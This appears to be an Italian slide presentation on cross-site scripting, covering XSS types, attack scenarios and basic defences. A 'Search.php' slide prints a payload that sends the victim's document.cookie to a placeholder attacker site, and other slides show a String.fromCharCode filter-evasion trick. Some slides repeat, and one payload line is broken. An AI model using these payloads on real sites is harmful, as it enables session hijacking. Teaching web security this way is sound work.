

Cross-Site Scripting



<WEB.IS.ART/>



Prezi

Cross-Site Scripting

- Definizione di XSS
- XSS Reflected
- XSS Persistent
- XSS DOM-based
- Vulnerabilità
- Esempi di violazione
- Come difendersi
- Collegamenti esterni
- Bibliografia

Definizione di XSS

Il Cross-site scripting (XSS) è una vulnerabilità che affligge siti web dinamici dovuta a un insufficiente controllo dell'input nei form che consente di includere codice all'interno della pagina.

XSS *Reflected*

Il valore del parametro vulnerabile viene utilizzato immediatamente per generare una pagina successiva.

XSS Persistent

I dati inseriti sono salvati direttamente nel server e restano inattivi finché l'applicazione non vi accede.

XSS DOM-based

Non vi è accesso al server. La costruzione del DOM da parte del browser inietta il codice.

Vulnerabilità

Immettere caratteri potenzialmente nocivi e vedere il sorgente.



Se inserisco questa stringa

```
"";!=()
```



Diventa questa

```
&lt;XSS
```



Allora ci sono dei filtri



Evitarli è possibile?

<https://hacktips.it/link-utili/xss-cheat-sheet/>

Esempi di violazione: Il motore di ricerca

Il motore di ricerca di un sito lancia gli script. Viene creata l'URL di ricerca contenente uno script e inviata alle possibili vittime.

Esempi di violazione: Il sito di incontri

L'attaccante aggiunge a una risposta uno script. Quando la vittima raggiunge la risposta lo script viene eseguito sul suo browser.

Esempi di violazione

Vulnerabilità XSS sono state segnalate e sfruttate dal 1990. Sono stati compromessi Twitter, Facebook, MySpace, YouTube... L'XSS è la vulnerabilità di sicurezza più comunemente segnalata.

Come difendersi

Dove sbagliamo

Mostrare variabili con contenuto
prelevato direttamente dall'input.



...come farlo veramente

- Non ammettere caratteri speciali
- Codificare l'output in HTML
- Limitare la lunghezza delle stringhe

Come crediamo di rimediare...

Sostituire i caratteri ' e ' in ' e ' ci fa pensare che
uno script diventi inutilizzabile...



Dove sbagliamo

Mostrare variabili con contenuto
prelevato direttamente dall'input.



Search.php

L'utente cerca "cantante" e viene indirizzato a

search.php?query=cantante

Inserisco del codice

```
<script>document.location = "http://www.tuosito.com/cookies.php?a=+document.cookie;</script>
```

Come crediamo di rimediare...

Sostituire i caratteri " e ' in \\" e \' ci fa pensare che uno script diventi inutilizzabile...

[...ma con un po' di esperienza in
JavaScript si possono evitare i
blocchi]

```
<script>alert(String.fromCharCode(104,226,216,112,58,47,47));</script>
```

Crea un pop up con scritto "http://"

...ma con un po' di esperienza in
JavaScript si possono evitare i
blocchi

```
<script>alert(String.fromCharCode(104,116,116,112,58,47,47));</script>
```

Crea un pop up con scritto “http://“

...come farlo veramente

- Non ammettere caratteri speciali
- Codificare l'output in HTML
- Limitare la lunghezza delle stringhe

Collegamenti esterni

BeEF framework

XSS Shell

xss-game.appspot.com

www.dvwa.co.uk

Bibliografia

- Wikipedia
- Hackerstrike
- Hacktips
- Roccobalzama
- Ideabit
- Codiceinsicuro
- Stacktrace